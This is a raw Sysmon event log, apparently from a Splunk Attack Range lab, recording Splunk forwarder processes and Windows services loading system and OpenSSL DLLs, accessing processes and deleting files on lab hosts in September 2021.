734700x800000000000000054073Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000054072Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000054071Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000054070Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000054069Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000054068Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000054067Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000054066Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000054065Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000054064Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000054063Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000054062Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000054061Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\fltLib.dll10.0.14393.0 (rs1_release.160715-1616)Filter LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationfilterLib.dllMD5=051ABD8360BDA63A1BC77C662FBF0A25,SHA256=C914E2DBAEC2C9A11923A984B30A979637D3A27B3C29E93F4C90FB1D9FBC518F,IMPHASH=74D3C2DA8B6F9861866B866AE40683D3trueMicrosoft WindowsValid 734700x800000000000000054060Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000054059Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.284{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054058Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.283{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000054057Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.283{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000054056Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.282{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 10341000x800000000000000054055Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.282{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054054Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.282{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054053Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.282{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exeMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8trueSplunk, Inc.Valid 10341000x800000000000000054052Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.282{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054051Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.281{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054050Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.281{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000054049Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.281{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000054048Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.279{7BD73061-73F1-613B-850B-00000000F001}2324C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000054047Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.167{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=39F8C6D35A6EFCA1A3C2FDCE5A9245AE,SHA256=AAB448E191B0AC68AD4921FFC55043849E1E2BFB853D9348574318FC34D3BF3A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017394Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:15.431{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50356-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017396Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:18.720{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A79CB04A7257F1DBFB7271B03B8D850F,SHA256=D89C6DC62B0B6A4FB80BE145B056FB93333494ECE61BDE5C69E4DDF07DA3D49E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000054210Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.664{7BD73061-73F2-613B-870B-00000000F001}70005916C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054209Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.664{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000054208Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.664{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000054207Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.486{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000054206Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.486{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000054205Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.486{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000054204Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.486{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000054203Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.485{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000054202Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.485{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 23542300x800000000000000054201Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.483{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E70921BAAACA32646E8DD6869B161A09,SHA256=3A90259A32DB5BA7CC4BA75973669DF0DAD59DB8DCBA8165E739E60F9222D87A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000054200Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.483{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000054199Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.482{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000054198Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 